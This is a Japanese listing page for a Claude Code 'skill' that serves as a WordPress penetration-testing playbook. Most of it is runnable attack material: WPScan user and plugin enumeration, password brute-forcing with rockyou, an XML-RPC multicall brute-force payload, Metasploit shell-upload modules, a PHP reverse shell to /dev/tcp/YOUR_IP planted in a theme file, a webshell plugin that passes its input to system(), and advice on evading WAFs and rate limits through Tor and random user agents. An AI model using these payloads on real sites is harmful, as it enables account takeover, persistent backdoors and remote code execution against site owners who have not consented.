WordPress Penetration Testing について
WordPress Penetration Testingは、WordPress環境を評価するセキュリティテスター向けのスキルです。バージョン、テーマ、プラグイン、ユーザーの列挙に加え、脆弱性スキャンや認証情報の検証、悪用手順を扱います。
主な機能
- 01WordPressバージョンの検出
- 02テーマ・プラグイン・ユーザーの列挙
- 03脆弱性と設定不備のスキャン
- 04認証情報の安全性評価
- 05脆弱性悪用手順の記録
活用シーン
- 01WordPressサイトの構成要素の把握
- 02テーマやプラグインの脆弱性確認
- 03ユーザーパスワードの強度評価
- 04許可されたテストでの脆弱性検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill wordpress-penetration-testingインストール後、Claude Code で/wordpress-penetration-testingを入力して読み込まれたか確認します。
詳細
WordPress ペネトレーションテスト
目的
ユーザー、テーマ、プラグインの列挙、脆弱性スキャン、認証情報攻撃、エクスプロイト手法を含め、WordPress インストール環境の包括的なセキュリティ評価を実施します。WordPress はウェブサイトの約 35% で利用されており、セキュリティテストの重要なターゲットです。
前提条件
必要なツール
- WPScan(Kali Linux にプリインストール済み)
- Metasploit Framework
- Burp Suite または OWASP ZAP
- 初期検出用の Nmap
- cURL または wget
必要な知識
- WordPress のアーキテクチャと構造
- ウェブアプリケーションテストの基礎
- HTTP プロトコルの理解
- 一般的なウェブの脆弱性(OWASP Top 10)
成果物
- WordPress 列挙レポート - バージョン、テーマ、プラグイン、ユーザー
- 脆弱性評価 - 特定された CVE と設定ミス
- 認証情報の評価 - 脆弱なパスワードの検出結果
- エクスプロイトの証拠 - シェルアクセスの記録
基本ワークフロー
フェーズ 1: WordPress の検出
WordPress インストールを特定します:
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"
# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php
# Check meta generator tag
curl -s http://target.com | grep "generator"
# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
主要な WordPress のファイルとディレクトリ:
/wp-admin/- 管理ダッシュボード/wp-login.php- ログインページ/wp-content/- テーマ、プラグイン、アップロード/wp-includes/- コアファイル/xmlrpc.php- XML-RPC インターフェース/wp-config.php- 設定ファイル(適切に保護されている場合はアクセス不可)/readme.html- バージョン情報
フェーズ 2: 基本的な WPScan による列挙
WPScan による包括的な WordPress スキャン:
# Basic scan
wpscan --url http://target.com/wordpress/
# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive
# Output to file
wpscan --url http://target.com -o results.txt
# JSON output
wpscan --url http://target.com -f json -o results.json
# Verbose output
wpscan --url http://target.com -v
フェーズ 3: WordPress バージョンの検出
WordPress のバージョンを特定します:
# WPScan version detection
wpscan --url http://target.com
# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="
# Check meta generator
curl -s http://target.com | grep 'name="generator"'
# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
バージョンの情報源:
- HTML 内のメタジェネレータタグ
- readme.html ファイル
- RSS/Atom フィード
- JavaScript/CSS ファイルのバージョン
フェーズ 4: テーマの列挙
インストールされているテーマを特定します:
# Enumerate all themes
wpscan --url http://target.com -e at
# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt
# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive
# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
テーマの脆弱性チェック:
# Search for theme exploits
searchsploit wordpress theme <theme_name>
# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
フェーズ 5: プラグインの列挙
インストールされているプラグインを特定します:
# Enumerate all plugins
wpscan --url http://target.com -e ap
# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp
# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive
# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed
# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
確認すべき一般的な脆弱なプラグイン:
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery
# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
フェーズ 6: ユーザーの列挙
WordPress のユーザーを発見します:
# WPScan user enumeration
wpscan --url http://target.com -e u
# Enumerate specific number of users
wpscan --url http://target.com -e u1-100
# Author ID enumeration (manual)
for i in {1..20}; do
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done
# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users
# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
フェーズ 7: 包括的な列挙
すべての列挙モジュールを実行します:
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u
# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe
# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u - Users (1-10)
# cb - Config backups
# dbe - Database exports
# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
--detection-mode aggressive \
--plugins-detection aggressive
フェーズ 8: パスワード攻撃
WordPress の認証情報をブルートフォースで攻撃します:
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
パスワード攻撃の方法:
wp-login- 標準のログインフォームxmlrpc- XML-RPC のマルチコール(高速)xmlrpc-multicall- 1 リクエストで複数のパスワードを送信
フェーズ 9: 脆弱性のエクスプロイト
Metasploit によるシェルアップロード
認証情報を取得した後:
# Start Metasploit
msfconsole
# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
プラグインのエクスプロイト
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit
# Search for WordPress exploits
search type:exploit platform:php wordpress
手動でのエクスプロイト
テーマ/プラグインエディター(管理者アクセス時):
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>
// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
プラグインのアップロード方法:
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php
# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
フェーズ 10: 高度な手法
XML-RPC のエクスプロイト
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php
# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
プロキシ経由のスキャン
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
HTTP 認証
# Basic authentication
wpscan --url http://target.com --http-auth admin:password
# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
クイックリファレンス
WPScan の列挙フラグ
| フラグ | 説明 |
|---|---|
-e at | すべてのテーマ |
-e vt | 脆弱なテーマ |
-e ap | すべてのプラグイン |
-e vp | 脆弱なプラグイン |
-e u | ユーザー(1〜10) |
-e cb | 設定ファイルのバックアップ |
-e dbe | データベースのエクスポート |
一般的な WordPress のパス
| パス | 用途 |
|---|---|
/wp-admin/ | 管理ダッシュボード |
/wp-login.php | ログインページ |
/wp-content/uploads/ | ユーザーのアップロード |
/wp-includes/ | コアファイル |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
WPScan のコマンド例
| 目的 | コマンド |
|---|---|
| 基本スキャン | wpscan --url http://target.com |
| すべての列挙 | wpscan --url http://target.com -e at,ap,u |
| パスワード攻撃 | wpscan --url http://target.com -U admin -P pass.txt |
| アグレッシブ | wpscan --url http://target.com --detection-mode aggressive |
制約と制限事項
法的な考慮事項
- テストの前に書面による許可を取得すること
- 定められたスコープの範囲内にとどまること
- すべてのテスト活動を記録すること
- 責任ある情報開示に従うこと
技術的な制限事項
- WAF によってスキャンがブロックされる場合があります
- レート制限によりブルートフォース攻撃が妨げられる場合があります
- 一部のプラグインでは偽陰性が発生する場合があります
- XML-RPC が無効化されている場合があります
検出回避
- ランダムなユーザーエージェントを使用する:
--random-user-agent - リクエストを絞る:
--throttle 1000 - プロキシのローテーションを使用する
- 監視されているサイトでは、攻撃的なモードの使用を避ける
トラブルシューティング
WPScan で脆弱性が表示されない
解決策:
- 脆弱性データベースに API トークンを使用する
- 攻撃的な検出モードを試す
- WAF によってスキャンがブロックされていないか確認する
- WordPress が実際にインストールされているか確認する
ブルートフォースがブロックされる
解決策:
- wp-login の代わりに XML-RPC メソッドを使用する
- スロットリングを追加する:
--throttle 500 - 別のユーザーエージェントを使用する
- IP ブロックや fail2ban が設定されていないか確認する
管理画面にアクセスできない
解決策:
- 認証情報が正しいか確認する
- 二要素認証が有効になっていないか確認する
- IP ホワイトリストによる制限がないか確認する
- ログイン URL が変更されていないか確認する(セキュリティプラグインによる変更)
コメント
Markdown 対応